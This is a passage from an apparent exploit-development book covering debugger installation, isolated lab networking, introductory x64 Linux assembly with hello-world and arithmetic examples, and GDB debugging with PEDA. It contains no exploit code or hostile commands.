First, we need Immunity Debugger for x86; download Immunity from https://debugger.immunityinc.com/ID_register.py. Fill this form in, download, and then install it using the default settings, and it will ask you to confirm installing Python. After that we need to install a plugin for a debugger named mona, created by the Corelan team, https://www.corelan.be. It's a wonderful plugin that will help us in exploit development. Download the mona.py file from their GitHub repository, https://github.com/corelan/mona, then copy it to C:\Program Files (x86)\Immunity Inc\Immunity Debugger\Immunit\PyCommands:



This is what the Immunity Debugger looks like, and it consists of four major windows, exactly as explained in edb-debugger.

Also, we now have Python, and to confirm, just navigate to C:\Python27\. Then, click on Python, and the Python interpreter will pop up:



Now, let's install x64dbg. It's also a debugger for Windows x86 and also x64, but when it comes to x86 Windows, there is nothing better than Immunity Debugger.

Go to https://sourceforge.net/projects/x64dbg/files/snapshots/, then download the latest version. Uncompress it and then navigate to /release to start x96dbg:  



Then, click x64dbg:



Now we are looking at the x64dbg interface, which also contains four major windows, exactly as explained in edb-debugger:
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This is not mandatory for this book, but has been included for if you want to try assembly for x86. The machine used will be Ubuntu 14.04 x86, and you can download it from http://releases.ubuntu.com/14.04/.

We have to follow the previous instructions to install NASM, GCC, the text editor, and I'm going to use GDB as my debugger.
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As we are going to run vulnerable applications for doing exploit research on our victim machines and injecting shellcodes, we have to set up a secure network after configuring each machine. This is done using a host-only network mode to make sure that all machines are connected together, but that they will still be offline and not exposed to the outside world.

If you are using VirtualBox, then go to Preferences | Network and set up Host-only Networks:



Then, set up an IP range that doesn't conflict with your external IP, for example:


	IP address: 192.168.100.1

	Netmask: 255.255.255.0



Then, you can activate the DHCP server from the DHCP Server tab.

You should see it in your ifconfig:

$ ifconfig vboxnet0

Then, activate this network (for example, vboxnet0) on your guest machine's adapter:



If you are using VMware Workstation, go to Edit | Virtual Network Editor:



Also, you can make sure that the host-only network is up: 

$ ifconfig vmnet1

Then, from the guest machine settings, go to Network Adapter, and select Host-only: A private network shared with the host:
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In this chapter, we went through installing three major operating systems: one to simulate the attacker machine to try remote exploitation, the second was Ubuntu x64, and the third was Windows 7 the last two operating systems being victims. Also, there was an extra machine to try assembly x86.

Also, we went through disabling some security mechanisms in Linux, only for learning purposes, then we went through network configuration.

In the next chapter, let's take a big step by learning assembly, which will enable us to write our own shellcodes and make you really understand how a computer executes every command. 
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In this chapter, we are going to talk about assembly language programming in Linux. We will go through how to build our own code. An assembly language is a low-level programming language. Low-level programming languages are machine-dependent programming and are the simplest form that a computer understands. In assembly, you will be dealing with computer architecture components such as registers and stack, unlike most high-level programming languages such as Python or Java. Also, assembly is not a portable language, which means each assembly programming language is specific to one hardware or one computer architecture; for example, Intel has its own specific assembly language. We are learning assembly not to build a sophisticated software but to build our own customized shellcodes, so we will be going to make it very easy and simple.

I promise that, after this chapter, you will look at each program and process differently, and you will be able to understand how computers really execute your instructions. Let's start!
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Here, we are not going to talk about the language structure but the code structure. Do you remember memory layout?

Let's take another look at it:



We are going to put our executable code in the .text section and our variables in the .data section:




Let's also have a closer look at the stack. The stack is LIFO, which means Last Input First Output, so it's not random access, rather it uses push and pop operations. Push is to push something into the top of the stack. Let's look at an example. Suppose that we have a stack and it contains only 0x1234:



Now, let's push something into the stack using the assembly push 0x5678. This instruction will push the value 0x5678 into the stack, and that will change the stack pointer to point to 0x5678:




Now, if we want to get data out of the stack, we use a pop instruction, and it will extract the last element pushed into the stack. So, taking the same stack layout, let's extract the last element using pop rax, which will extract the value 0x5678 and move it to the RAX register:



It's very simple!!

How are we going to code assembly on Linux x64? Actually, it's quite simple; do you remember syscalls? This is how we are going to execute what we want by invoking system commands. For example, if I want to exit a program then I have to use the exit syscall.

Firstly, this file, /usr/include/x86_64-linux-gnu/asm/unistd_64.h, contains all the syscalls for Linux x64. Let's search for the exit syscall:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep exit
#define __NR_exit 60
#define __NR_exit_group 231

The exit syscall has a syscall number 60.

Now, let's look at its arguments:

$ man 2 exit


The following screenshot shows the output for the preceding command:



There is only one argument, that is, status, and it has the int data type to define the exit status, such as zero status for no error:

void _exit(int status);

Now, let's see how we are going to use registers to invoke Linux x64 syscalls:




We just put the syscall number in RAX, then the first argument in RDI, second argument in RSI, and so on, as shown in the preceding screenshot.

Let's look at how we are going to invoke the exit syscall:



We just put 60, which is the exit syscall number in RAX, then we put 0 in RDI, which is the exit status; yes, it's that simple!

Let's take a deeper look at the assembly code:

mov rax, 60
mov rdi, 0

The first line tells the processor to move the value 60 into rax, and in the second line it tells the processor to move the value 0 into rdi.

As you can see, the general structure of one instruction is {Operation} {Destination}, {Source}.
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Data types are important in assembly. We can use them to define a variable or when we want to perform any operation on just a small portion of register or memory.

The following table explains the data types in assembly based on length:




	Name
	Directive
	Bytes
	Bits



	
Byte


	db
	1
	8



	
Word


	dw
	2
	16



	
Doubleword


	dd
	4
	32



	
Quadword


	dq
	8
	64





 

To fully understand, we are going to build a hello world program in assembly.
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OK, let's start to go deeper. We are going to build a hello world, which is undoubtedly the basic building block for any programmer.

First, we need to understand what we really need, which is a syscall to print hello world on the screen. To do this, let's search for the write syscall:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep write

#define __NR_write 1
#define __NR_pwrite64 18
#define __NR_writev 20
#define __NR_pwritev 296
#define __NR_process_vm_writev 311
#define __NR_pwritev2 328

We can see that the write syscall is number 1; now let's look at its arguments:

$ man 2 write

The following screenshot shows the output for the preceding command:



The write syscall has three arguments; the first one is the file descriptor:

ssize_t write(int fd, const void *buf, size_t count);

The file descriptor has three modes:




	Integer value
	Name
	Alias for stdio.h



	0
	Standard input
	stdin



	1
	Standard output
	stdout



	2
	Standard error
	stderr





 

As we are going to print hello world on the screen, we are going to choose standard output 1, the second argument, which is a pointer to the string we want to print; the third argument is the count of the string, including spaces.

The following diagram explains what is going to be inside the registers:



And now, let's jump to the full code:

global _start

section .text

_start:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_world
    mov rdx, length
    syscall

section .data

    hello_world: db 'hello world',0xa
    length: equ $-hello_world

In the .data section, which contains all the variables, the first variable in the code is the hello_world variable with data type byte (db), and it contains a hello world string along with 0xa, which means a new line, like in \n in C. The second variable is length, that contains the length of hello_world string with equ, which means equal, and $-, which means evaluate the current line.

In the .text section, as we previously explained, we move 1 to rax, which indicates the write syscall number, then we move 1 to rdi as an indicator that the file descriptor is set to standard output, then we move the address of the hello_world string to rsi, and we move the length of the hello_world string to rdx, and finally, we invoke syscall, which means execute.

Now, let's assemble and link the object code, as follows:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ ./hello-world


The output of the preceding commands is as follows:



It printed the hello world string but exited with Segmentation fault because the program doesn't know where to go next. We can fix it by adding the exit syscall: 

global _start

section .text

_start:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_world
    mov rdx, length
    syscall


    mov rax, 60
    mov rdi, 1
    syscall

section .data

    hello_world: db 'hello world',0xa
    length: equ $-hello_world

We just added the exit syscall by moving 60 to rax, then we moved 1 to rdi, which indicates the exit status, and finally we invoked syscall to execute the exit syscall:




Let's assemble the link and try again:



Now it's exited normally; let's also confirm the exit status using echo $?:



Exit status is 1, as we selected!
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As we discussed in the previous chapter, a stack is a space allocated for each running application and is used to store variables and data. A stack supports two operations (push and pop); a push operation is used to push an element to the stack, and that will cause the stack pointer to move to a lower memory address (a stack grows from high memory to low memory) and point to the top of the stack, whereas pop takes the first element at the top of the stack and extracts it.

Let's take a look at a simple example:

global _start

section .text

_start:

    mov rdx,0x1234
    push rdx
    push 0x5678
    pop rdi
    pop rsi
    
    mov rax, 60
    mov rdi, 0
    syscall
section .data

This code is very simple; let's compile and link it:

$ nasm -felf64 stack.nasm -o stack.o
$ ld stack.o -o stack

Then, I will run the application in a debugger (debuggers will be explained in the next chapter) just to show you how the stack really works.

First, before we run the program, all registers are empty except the RSP register, which is now pointing at the top of the stack 00007ffdb3f53950:




Then, the first instruction is executed, which moves 0x1234 to rdx:





As we can see, the rdx register now holds 0x1234 and there are no changes in the stack yet. The second instruction pushes the value of rdx into the Stack, as follows:



Look at the Stack section; it moved to the lower address (from 50 to 48), and now it contains 0x1234. The third instruction is to push 0x5678 directly to the Stack:



The fourth instruction will extract the last element in the Stack to rdi:



As you can see, the Stack now doesn't contain 0x5678 anymore, and it moved to rdi. The last instruction will be to extract the last element in the Stack to rsi:



Now the stack is back to normal and 0x1234 moved to rsi.

Well, so far, we have covered two basic examples on how to build a hello world program and also a push/pop operation in the stack, wherein we saw some basic instructions, such as mov, push, pop, and there is much more to come. Now, you might be wondering why I haven't explained any of those instructions and took you through the examples first. My strategy takes you to the next section; here, we will go through all the basic instructions required for an assembly language.
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Data manipulation is moving data in assembly, and it is a very important topic because most of our operations will be moving data to execute instructions, so we have to really understand how to use them, such as the mov instruction, and how to move data between registers and between register and memory, copying addresses to registers, and how to swap the contents of two registers or between register and memory using the xchg instruction, then how to load the effective address of the source into the destination using the lea instruction.
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The mov instruction is the most important instruction used in assembly in Linux, and we used it in all the previous examples.

The mov instruction is used to move data between registers, and between registers and memory.

Let's look at some examples. First, let's begin with moving data directly to registers:

global _start

section .text

_start:

    mov rax, 0x1234
    mov rbx, 0x56789


    mov rax, 60
    mov rdi, 0
    syscall

section .data

This code will just copy 0x1234 to rax and 0x56789 to rbx:



Let's go further and add some moving data between registers to the previous example:

global _start

section .text

_start:

    mov rax, 0x1234
    mov rbx, 0x56789

    mov rdi, rax
    mov rsi, rbx

    mov rax, 60
    mov rdi, 0
    syscall

section .data

What we added just moved the contents of both rax and rbx to rdi and rsi respectively:

 

Let's try to move data between registers and memory:

global _start

section .text

_start:

    mov al, [mem1]
    mov bx, [mem2]
    mov ecx, [mem3]
    mov rdx, [mem4]

    mov rax, 60
    mov rdi, 0
    syscall

section .data
    mem1: db 0x12
    mem2: dw 0x1234
    mem3: dd 0x12345678
    mem4: dq 0x1234567891234567

In mov al, [mem1], the brackets mean move the contents of mem1 to al. If we use mov al, mem1 without brackets, it will move the pointer of mem1 to al.

In the first line, we moved 0x12 to the RAX register and, because we are moving only 8 bits, we used AL (the lower part of RAX register that can hold 8 bits) because we don't need to use all 64 bits. Also note that we defined the mem1 memory section as db, which is byte, or it can hold 8 bits.

Take a look at the following table:




	64-bit register
	32-bit register
	16-bit register
	8-bit register



	RAX
	EAX
	AX
	
AH, AL





	RBX
	EBX
	BX
	BH, BL



	RCX
	ECX
	CX
	CH, CL



	RDX
	EDX
	DX
	DH, DL



	RSI
	ESI
	SI
	SIL



	RDI
	EDI
	DI
	DIL



	RSP
	ESP
	SP
	SPL



	RBP
	EBP
	BP
	BPL



	R8
	R8D
	R8W
	R8B



	R9
	R9D
	R9W
	R9B



	R10
	R10D
	R10W
	R10B



	R11
	R11D
	R11W
	R11B



	R12
	R12D
	R12W
	R12B



	R13
	R13D
	R13W
	R13B



	R14
	R14D
	R14W
	R14B



	R15
	R15D
	R15W
	
R15B







 

Then, we moved value 0x1234, which is defined as dw, to the rbx register, and then we moved 2 bytes (16 bits) in BX, which can hold 16 bits.

Then, we moved the value 0x12345678, which is defined as dd, to the RCX register, and it's 4 bytes (32 bits), to ECX.

And finally, we moved 0x1234567891234567, which is defined as dq, to the RDX register, and it's 8 bytes (64 bits), so we moved it to RDX:



This is what it looks like in the registers after executing.

Now, let's talk about moving data from register to memory. Take a look at the following code:

global _start

section .text

_start:

    mov al, 0x34
    mov bx, 0x5678
    mov byte [mem1], al
    mov word [mem2], bx

    mov rax, 60
    mov rdi, 0
    syscall

section .data

    mem1: db 0x12
    mem2: dw 0x1234
    mem3: dd 0x12345678
    mem4: dq 0x1234567891234567

At the first and second instructions, we moved values directly to registers, and, in the third instruction, we moved the contents of register RAX (AL) to mem1 and specified the length with byte. Then, in the fourth instruction, we moved the contents of register RBX (RX) to mem2 and specified the length with word.

This is the contents of mem1 and mem2 before moving any values:



The next screenshot is after moving values to mem1 and mem2, which has changed:
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Data swapping is really easy too; it is used to exchange the contents of two registers or between register and memory using the xchg instruction:

global _start

section .text

_start:

    mov rax, 0x1234
    mov rbx, 0x5678
    xchg rax, rbx
    mov rcx, 0x9876
    xchg rcx,[mem1]



    mov rax, 60
    mov rdi, 0
    syscall

section .data
    mem1: dw 0x1234

In the previous code, we moved 0x1234 to the rax register, then we moved 0x5678 to the rbx register:



Then, in the third instruction, we swapped the contents of both rax and rbx with the xchg instruction:



Then, we pushed 0x9876 to the rcx register and mem1 holds 0x1234:



And now, swap both rcx and mem1:
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The load effective address (lea) instruction loads the address of the source into the destination:

global _start

section .text

_start:

    lea rax, [mem1]
    lea rbx, [rax]

    mov rax, 60
    mov rdi, 0
    syscall

section .data
    mem1: dw 0x1234

First, we moved the address of mem1 to rax, then we moved the address inside rax to rbx:



Both are now pointing at mem1, which contains 0x1234.
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Now, we are going to talk about arithmetic operations (addition and subtraction). Let's begin:

global _start

section .text

_start:

    mov rax,0x1
    add rax,0x2

    mov rbx,0x3
    add bl, byte [mem1]

    mov rcx, 0x9
    sub rcx, 0x1

    mov dl,0x5
    sub byte [mem2], dl

    mov rax, 60
    mov rdi, 0
    syscall

section .data
    mem1: db 0x2
    mem2: db 0x9

First, we move 0x1 to the rax register, then we add 0x2, and the result will be stored in the rax register.

Then, we move 0x3 to the rbx register and add the contents of mem1, which contains 0x2 with the contents of rbx, and the result will be stored in rbx.

Then, we move 0x9 to the rcx register, then we subtract 0x1, and the result will be stored in rcx.

Then, we move 0x5 to the rdx register, subtract the contents of mem2 from rdx, and the result will be stored in the mem2 memory portion:



And the contents of mem2 after subtraction is as follows: 



Now, let's talk about addition with carry and subtraction with borrow:

global _start

section .text

_start:

    mov rax, 0x5
    stc
    adc rax, 0x1

    mov rbx, 0x5
    stc
    sbb rbx, 0x1

    mov rax, 60
    mov rdi, 0
    syscall

section .data

First, we move 0x5 to the rax register, then we set the carry flag, which will be carrying 1. After this, we add the contents of the rax register to 0x1, and to the carry flag, which is 1. This will give us 0x7 (5+1+1).

Then, we move 0x5 to the rbx register and set the carry flag, then we subtract 0x1 from the rbx register and also another 1 in the carry flag; that will give us 0x3 (5-1-1):



Now, the final part here is the increment and decrement operations:

global _start

section .text

_start:

    mov rax, 0x5
    inc rax
    inc rax

    mov rbx, 0x6
    dec rbx
    dec rbx
 
    mov rax, 60
    mov rdi, 0
    syscall

section .data

First, we move 0x5 to the rax register, increment the value of rax with 1, then we increment again, which gives us 0x7.

Then, we move 0x6 to the rbx register, decrement the value of rbx with 1, then we decrement again, which gives us 0x4:
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Now, we are going to talk about loops in assembly. Like in any other high-level language (Python, Java, and so on), we can use loops for iteration using the RCX register as a counter, then the loop keyword. Let's see the following example: 

global _start

section .text

_start:

    mov rcx,0x5
    mov rbx,0x1

increment:

    inc rbx
    loop increment

    mov rax, 60
    mov rdi, 0
    syscall

section .data

In the previous code, we wanted to increment the contents of RAX five times, so we moved 0x5 to the rcx register, then moved 0x1 to the rbx register:



Then, we added the increment tag as an indication of the start of the block we wanted to repeat, then we added the increment instruction to the contents of the rbx register:



Then, we called loop increment, which will decrement the contents of the RCX register and then go to start again from the increment tag:



Now it will go until the RCX register hits zero, then the flow will go out of that loop:



Now, what if the program is rewritten with a value on RCX? Let's see an example:

global _start

section .text

_start:

    mov rcx, 0x5

print:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello
    mov rdx, length
    syscall

loop print

    mov rax, 60
    mov rdi, 0
    syscall

section .data
    hello: db 'Hello There!',0xa
    length: equ $-hello

After executing this code, the program will be stuck in an infinite loop, and if we look closer, we will see that the code overwrites the value in the RCX register after executing syscall:



So, we have to find a way to save the RCX register, such as saving it in the stack. First, we push the current value in the stack before executing syscall, and, after executing syscall, we overwrite whatever is in RCX with our value again and then decrement the value and push it again in the stack to save it:

global _start

section .text

_start:

    mov rcx, 0x5

increment:

    push rcx
    mov rax, 1
    mov rdi, 1
    mov rsi, hello
    mov rdx, length
    syscall
    pop rcx

loop increment

    mov rax, 60
    mov rdi, 0
    syscall

section .data
    hello: db 'Hello There!',0xa
    length: equ $-hello

This way, we save our value in the RCX register and then pop it in RCX again to use it. Look at the pop rcx instruction in the preceding code. RCX got back to 0x5 again, as expected:
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Here, we are going to talk about controlling the flow of execution. The normal flow of execution is to execute step 1, then 2, and so on until the code exits normally. What if we decide we want something to happen in step 2, then the code skips 3, and goes to execute 4 directly, or we just want to skip step 3 without waiting for something to happen? There are two types of jumping:


	Changing the flow unconditionally

	Changing the flow based on changes in flags



Now, let's start with the unconditional jump: 

global _start

section .text

_start:

jmp exit_ten

    mov rax, 60
    mov rdi, 12
    syscall

    mov rax, 60
    mov rdi, 0
    syscall

exit_ten:

    mov rax, 60
    mov rdi, 10
    syscall

    mov rax, 60
    mov rdi, 1
    syscall

section .data

The previous code contains four exit syscalls but with different exit statuses (12, 0, 10, 1), and we started with jmp exit_ten, which means jump to the exit_ten location, and it will jump to this section of code:

    mov rax, 60
    mov rdi, 10
    syscall

Execute it and exit normally with exit status 10. Note that the next section will never be executed:

    mov rax, 60
    mov rdi, 12
    syscall

    mov rax, 60
    mov rdi, 0
    syscall

Let's confirm:

$ nasm -felf64 jmp-un.nasm -o jmp-un.o
$ ld jmp-un.o -o jmp-un
$ ./jmp-un
$ echo $?

The output for the preceding commands can be seen in the following screenshot:



As we can see, the code exited with exit status 10.

Let's look at another example:

global _start

section .text

_start:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_one
    mov rdx, length_one
    syscall

jmp print_three

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_two
    mov rdx, length_two
    syscall
 
print_three:
    mov rax, 1
    mov rdi, 1
    mov rsi, hello_three
    mov rdx, length_three
    syscall
 
    mov rax, 60
    mov rdi, 11
    syscall

section .data

    hello_one: db 'hello one',0xa
    length_one: equ $-hello_one

    hello_two: db 'hello two',0xa
    length_two: equ $-hello_two

    hello_three: db 'hello three',0xa
    length_three: equ $-hello_three

In the earlier code, it starts by printing hello_one. Then, it will hit jmp print_three, and the flow of execution will be changed to the print_three location and start printing hello_three. The following section will never be executed:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_two
    mov rdx, length_two
    syscall

Let's confirm that:

$ nasm -felf64 jmp_hello.nasm -o jmp_hello.o
$ ld jmp_hello.o -o jmp_hello
$ ./jmp_hello

The output for the preceding commands can be seen in the following screenshot:



Now, let's move on to jumping with the condition, and, to be honest, we can't cover all conditions here because the list is very long, but we will see some examples so that you can understand the concept.

The jump if below (jb) instruction means it will execute the jump if a carry flag (CF) is set (CF is equal to 1).

As we said earlier, we can set a CF manually using the stc instruction.

Let's modify the previous example, but using the jb instruction, as follows: 

global _start

section .text

_start:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_one
    mov rdx, length_one
    syscall

    stc

jb print_three

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_two
    mov rdx, length_two
    syscall
 
print_three:
    mov rax, 1
    mov rdi, 1
    mov rsi, hello_three
    mov rdx, length_three
    syscall
 
    mov rax, 60
    mov rdi, 11
    syscall

section .data

    hello_one: db 'hello one',0xa
    length_one: equ $-hello_one

    hello_two: db 'hello two',0xa
    length_two: equ $-hello_two

    hello_three: db 'hello three',0xa
    length_three: equ $-hello_three

As you can see, we executed stc to set a carry flag (that is, CF is equal to 1), then we test that using jb instruction that means jump to print_three if CF is equal to 1.

Here is another example:

global _start

section .text

_start:

    mov al, 0xaa
    add al, 0xaa

jb exit_ten

    mov rax, 60
    mov rdi, 0
    syscall

exit_ten:

    mov rax, 60
    mov rdi, 10
    syscall

section .data

In the preceding example, the add operation will set the carry flag, then we make the test using the jb instruction; if CF is equal to 1, then jump to exit_ten. 

Now, let's look at a different method, that is, the jump if below or equal (jbe) instruction, which means CF is equal to 1 or zero flag (ZF) is equal to 1. The previous example will work too, but let's try something else to set ZF is equal to 1:

global _start

section .text

_start:

    mov al, 0x1
    sub al, 0x1

jbe exit_ten

    mov rax, 60
    mov rdi, 0
    syscall

exit_ten:

    mov rax, 60
    mov rdi, 10
    syscall

section .data

In the previous code, the subtraction operation will set ZF and then we will use the jbe instruction to test whether CF is equal to 1 or ZF is equal to 1; if true, then it will jump to execute exit_ten.

Another type is jump if not sign (jns), which means SF is equal to 0: 

global _start

section .text

_start:

mov al, 0x1
sub al, 0x3

jns exit_ten

    mov rax, 60
    mov rdi, 0
    syscall

exit_ten:

    mov rax, 60
    mov rdi, 10
    syscall

section .data

In the previous code, the subtraction operation will set the sign flag (SF) equal to 1. After that, we will test whether SF is equal to 0, which will fail, and it won't jump to execute exit_ten and will continue with the normal exit with exit status 0:
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Procedures in assembly can act as functions in high-level language, which means that you can write a block of code, then you can call it to execute.

For example, we can build a procedure that can take two numbers and add them. Also, we can use it many times during execution using the call instruction.

Building procedures is easy. First, define your procedure before _start, then add your instructions and end your procedure with the ret instruction.

Let's try to build a procedure that can take two numbers and add them:

global _start

section .text

addition:

    add bl,al
    ret

_start:

    mov al, 0x1
    mov bl, 0x3
    call addition

    mov r8,0x4
    mov r9, 0x2
    call addition

    mov rax, 60
    mov rdi, 1
    syscall

section .data

First, we added an addition section, before the _start section. Then, in the addition section, we used the add instruction to add what's inside the R8 and R9 registers and put the result in the R8 register, then we ended the addition procedure with ret.

Then, we moved 1 to the R8 register and 3 to the R9 register:



Then, we called the addition procedure, which will push the next instruction address into the stack, which is mov r8,0x4:



Note that RSP is now pointing to the next operation, and we are inside the addition procedure, and then the code will add both numbers and store the result in the R8 register:



After this, it will hit the ret instruction, which will set the flow of executing back to mov r8,0x4.

This will move 4 to the R8 register, then move 2 to the R8 register:

 

Then, call the addition procedure, and it will push the next instruction into the stack, which is mov rax, 60:



Then, add both numbers and store the result in the R8 register:



Then, we hit the ret instruction again, which will pop the next instruction from the stack and put it in the RIP register, which is equivalent to pop rip: 



Then, the code will continue with executing the exit syscall.
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Now, we are going to talk about logical operations such as bitwise operations and bit-shifting operations.
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There are four types of bitwise operations in logical operations: AND, OR, XOR, and NOT.

Let's start with the AND bitwise operation:

global _start

section .text

_start:

    mov rax,0x10111011
    mov rbx,0x11010110
    and rax,rbx

    mov rax, 60
    mov rdi, 10
    syscall

section .data

First, we moved 0x10111011 to the rax register, then we moved 0x11010110 to the rbx register:



Then, we performed the AND bitwise operation on both sides and stored the result in RAX:



Let's see the result inside the RAX register:

 

Now, let's move to the OR bitwise operation and modify the previous code to perform the operation:

global _start

section .text

_start:

    mov rax,0x10111011
    mov rbx,0x11010110
    or rax,rbx

    mov rax, 60
    mov rdi, 10
    syscall

section .data

We moved both values to the rax and rbx registers:



Then, we executed the OR operation on those values: 



Now, let's confirm the result in the RAX register:



Let's now look at the XOR bitwise operation with the same values:

global _start

section .text

_start:

    mov rax,0x10111011
    mov rbx,0x11010110
    xor rax,rbx

    mov rax, 60
    mov rdi, 10
    syscall

section .data

Move the same values to the rax and rbx registers:



Then, execute the XOR operation:



Let's see what is inside the RAX register:



You can use the XOR instruction on a register with itself to clear the content of that register. For instance, xor rax and rax will fill the RAX register with zeros.

Now, let's see the final one, which is the NOT bitwise operation, which will change ones to zeros and zeros to ones:

global _start

section .text

_start:

    mov al,0x00
    not al

    mov rax, 60
    mov rdi, 10
    syscall

section .data

The output of the preceding code can be seen in the following screenshot:



What happened is that the NOT instruction changed zeros to ones (ff) and vice versa.
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Bit-shifting operations is an easy topic if you follow what each diagram says. Mainly, there are two types of bit-shifting operations: arithmetic shift operation and logic operation. However, we will also see the rotate operation.

Let's start with the arithmetic shift operation. 
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Let's make this as simple as possible. There are two types of arithmetic shift: shift arithmetic left (SAL) and shift arithmetic right (SAR).

In SAL, we push 0 at the least significant bit side, and the extra bit from the most significant bit side may affect CF if it's a 1:



So, the result of this shift will not affect on CF, and it will look like this:



Let's take an example:

global _start

section .text

_start:

    mov rax, 0x0fffffffffffffff
    sal rax, 4
    sal rax, 4

    mov rax, 60
    mov rdi, 0
    syscall

section .data

We moved 0x0fffffffffffffff to the rax register, and this is how it looks now: 

 

Now, we want to perform SAL with 4 bits one time:



Because the most significant bit was zero, so CF will not be set:



Now, let's try another round: we push another zero, and the most significant bit is one:



A carry flag will be set:



Now, let's look at the SAR instruction. In SAR, a value will be pushed based on the most significant bit if it is 0, then 0 will be pushed, and if it is 1, then 1 will be pushed to keep the sign from changing:





The most significant bit is used as an indication for the sign, 0 for the positive number and 1 for the negative number.

So, in SAR, it will shift with whatever is in the most significant bit.

Let's look at the example:

global _start

section .text
 
_start:

    mov rax, 0x0fffffffffffffff
    sar rax, 4

    mov rax, 60
    mov rdi, 0
    syscall

section .data

So, the input will look like this:



So, SAR four times will push 0 four times as the most significant bit is zero: 



Also, CF is set because the least significant bit is 1:
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The logical shift also contains two types of shifting: logical shift left (SHL) and logical shift right (SHR). SHL is exactly like SAL.

Let's look at the following code:

global _start

section .text

_start:

    mov rax, 0x0fffffffffffffff
    shl rax, 4
    shl rax, 4

    mov rax, 60
    mov rdi, 0
    syscall

section .data

Also, it will push zero from the least significant bit side four times: 



This will not have any effect on the carry flag:



At the second round, it will push zero again four times: 



The most significant bit is 1, so this will set the carry flag: 



Let's now move to SHR. It simply pushes a 0 from the most significant bit side without keeping the sign from changing:



Now, try the following code:

global _start

section .text
_start:

    mov rax, 0xffffffffffffffff
    shr rax, 32

    mov rax, 60
    mov rdi, 0
    syscall

section .data

So, first, we move 64 bits of ones:



After this, we will perform SHR 32 times, which will push 32 zeros to the most significant bit side:



Also, as the least significant bits are ones, this will set the carry flag:
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The rotate operation is simple: we will rotate the contents of a register to the right or to the left. Here, we are only going to discuss rotate right (ROR) and rotate left (ROL).

Let's start with ROR:

 

In ROR, we just rotate the bits from right to left without adding any bits; let's look at the following code:

global _start

section .text

_start:

    mov rax, 0xffffffff00000000
    ror rax, 32

    mov rax, 60
    mov rdi, 0
    syscall

section .data

We move 0xffffffff00000000 to the rax register:



Then, we will start moving bits from right to left 32 times: 



There is no shifting with ones, so the carry flag will not be set:



Let's move the ROL, which is the opposite of ROR, which rotates bits from left to right without adding any bits:

  

Let's look at the previous example but ROL:

global _start

section .text

_start:

    mov rax, 0xffffffff00000000
    rol rax, 32

    mov rax, 60
    mov rdi, 0
    syscall

section .data

First, we also move 0xffffffff00000000 to the rax register: 



Then, we will start rotating bits from left to right 32 times:



We are rotating ones, so this will set the carry flag:
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In this chapter, we discussed the Intel x64 assembly language in Linux and how to deal with stacks, data manipulation, arithmetic and logical operations, how to control the flow of execution, and also how we can invoke system calls in an assembly.

Now we are ready to make our own customized shellcodes, but before that, you need to learn some basics in debugging and reverse engineering, which will be our next chapter. 
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In this chapter, we are going to learn what reverse engineering is and how to use debuggers to make us really see what is going on behind the scenes. Also, we will look at the execution flow of one instruction at a time, and how we are going to use and get familiar with debuggers for both Microsoft Windows and Linux. 

The following topics will be covered in this chapter: 


	Debugging in Linux

	Debugging in Windows

	The flow of execution of any code

	Detecting and confirming buffer overflow with reverse engineering



Shall we begin?
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Here, we are going to introduce you to one of the most adorable and powerful debuggers ever, GDB (GNU debugger). GDB is an open source command-line debugger that can work on many languages, such as C/C++, and it's installed on most of the Linux distributions by default.

So why are we using debuggers? We use them to see inside registers, memory, or stacks in each step. Also, there is a disassembly inside GDB to help us understand the functionality of each function in assembly language.

Some people feel that GDB is hard to use because it's a command-line interface, that it's hard to remember each command's arguments, and so on. Let's make GDB more tolerable for those people by installing PEDA, which is used to enhance GDB's interface.

PEDA stands for Python Exploit Development Assistance, which can make GDB easier to use and look nicer.

We need to download it first:

$ git clone https://github.com/longld/peda.git ~/peda

Then, copy that file to gdbinit inside your home directory:

$ echo "source ~/peda/peda.py" >> ~/.gdbinit

Then, start GDB:

$ gdb

Now, it looks useless, but wait; let's try to debug something easy, such as our assembly hello world example:

global _start

section .text
_start:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_world
    mov rdx, length
    syscall
 
    mov rax, 60
    mov rdi, 11
    syscall

section .data

    hello_world: db 'hello there',0xa
    length: equ $-hello_world

Let's assemble and link it as follows: 

$ nasm -felf64 hello.nasm -o hello.o
$ ld hello.o -o hello

Now run ./hello with GDB as follows:

$ gdb ./hello

The following screenshot shows the output for the preceding command:



We are going to set the disassembling mode to Intel:

set disassembly-flavor intel

Then, we are going to set a breakpoint where we want to start our debugging step by step because we are going to track all instructions, so let's put our breakpoint at _start:

break _start

The output for the preceding commands is as follows: 



As we have set the breakpoint, now, let's run our application inside GDB using run, and it will continue until it hits the breakpoint.

You will see three sections (registers, code, and stack):



The following screenshot is the code section:



As you can see, the small arrow on the left is pointing to the next instruction, which is moving 0x1 to the eax register.

The next screenshot is the stack section:



Also, we can find a lot of command options using the command peda:




There are more too:



All of these are PEDA commands; you can also use GDB commands.

Now, let's continue our work by typing stepi, or you can just use s, and this will begin to execute one instruction, which is mov eax,0x1: 

The stepi command will step into instructions such as call, which will cause the flow of debugging to be switched inside that call, whereas the s command or step will not do this, and will just get the return values from the call instruction by stepping into the call instruction.




On the previous screen, there is 0x1 inside the RAX register and the next instruction is pointing at mov edi,0x1. Now let's hit Enter to move to the next instruction:



Also, as you can see, there is 1 inside the RDI register and the next instruction is movabs rsi,0x6000d8. Let's try to see what is inside memory address 0x6000d8  using xprint 0x6000d8:




It's clear now that this is the location that holds the hello there string. We also can dump it in hex using peda hexprint 0x6000d8 or peda hexdump 0x6000d8:



Let's move forward using stepi:



Now the RSI register is holding a pointer to the hello there string.

The next instruction is mov edx,0xc, which is moving 12 to the EDX register, which is the length of the hello there string. Now, let's go further by hitting Enter one more time; the following is displayed:



By looking at the RDX register now, it holds 0xc, and the next instruction is syscall.  Let's move forward using s:



Now the syscall is done, and the hello there string is printed.

Now we are going to execute the exit syscall, and the next instruction is mov eax,0x3c, which means move 60 to the RAX register. Let's keep moving forward using s:



Instruction, mov edi,0xb means move 11 to the RDI register: 



